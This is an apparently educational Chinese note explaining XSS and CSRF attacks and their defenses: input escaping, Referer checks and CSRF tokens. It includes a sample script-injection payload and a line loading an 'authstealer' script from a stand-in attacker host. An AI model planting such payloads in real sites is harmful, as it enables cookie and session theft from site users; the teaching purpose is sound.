XSS
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
攻击原理:网页上有文本输入框,提交了内容后会以某种方式显示到页面上,如果对输入的内容格式不进行检查,那么我们就可以提交一个js脚本,当内容回显时就注入到网页了。
比如一个网页要求输入用户名,提交后会显示“您好xxx”:
<p>您好xxx</p>
如果我们提交的不是xxx而是:xxx<script>alert('注入js到网页了')</script>,网页就会变成:
<p>您好xxx<script>alert('注入js到网页了')</script></p>
我们这里只是写个alert,当然也能用js做其他你能想到的事了。
一个例子就是,论坛评论帖子写完是会显示的,如果你写个评论里边插入了js代码,获取登录用户的cookie什么的发给你,那么谁浏览你的评论,谁的信息就被你获取了,如果管理员浏览了呢。。。所以一个安全的论坛肯定会检查评论内容滴。我们自己写的网页也要注意不要出这种问题。
那么跨站体现在哪呢?我的理解是攻击者不会直接把大量代码直接写进去,而是利用src属性从其他站点引入js代码:<script src="http://mallorysevilsite.com/authstealer.js">
总之XSS就是因为网页回显了你输入的内容,顺便插入js代码,和sql注入有些像。所以要防范XSS,写网页一定要对输入的内容进行检查,转义成纯文本去显示用户输入的内容。
CSRF
跨站请求伪造(英语:Cross-site request forgery),也被称为one-click attack 或者session riding,通常缩写为CSRF 或者XSRF。
有些网站是要求登陆的,登陆信息一般都放到cookie里,如果我们利用XSS盗取了登陆用户的cookie就可以假冒用户了。但是对于没有XSS漏洞的网站是不是就不用担心了呢?答案是我们还要防范CSRF。
CSRF原理:你登陆了网站A,你本地保存了A站的cookie,这时攻击者发给你一个网站B链接,这个链接可能有很吸引人的标题,你点开B后B通过后台的js向A站发请求,因为你的浏览器保存了A的cookie,那么B向A发送的请求也会带这个cookie,所以A网站就把B发来的请求执行了。
也就是B站伪造了A站的请求,A站以为是登陆用户的操作。
防范:请求中携带只有自己的网页才会有的信息做验证。
1. 验证请求头中的Reffer。 浏览器发送请求一般会带上发送请求的页面链接为Reffer,B站发给A站的请求会带B的reffer,所以A站处理请求前验证下reffer是否是自己的就可以了。缺点是这种方法依赖客户端,如果浏览器有漏洞或操作系统被控制安装了假冒的浏览器,那就不起作用了。
2.在请求字段中添加token。这是对于GET请求和POST请求的保护,服务器端生成前端页面时对于GET请求或表单的链接加一个类似http://xxx.xx.x/a/b?csrftoken=tokenvalue这样的token,在POST表单中加一个隐藏的输入框<input type=”hidden” name=”csrftoken” value=”tokenvalue”/>, 这样攻击者B网站只能依赖浏览器添加A站的Cookie,但他伪造不了这个token(要有相关机制让此token有随机性,客户端制作不了此token),服务器验证下这个token就行了。
3.在 HTTP 头中自定义属性并验证。这种方式一般需要前端是用ajax方式能自定义请求Header的情况下,局限比较大。
参考:
https://blog.youkuaiyun.com/stpeace/article/details/53512283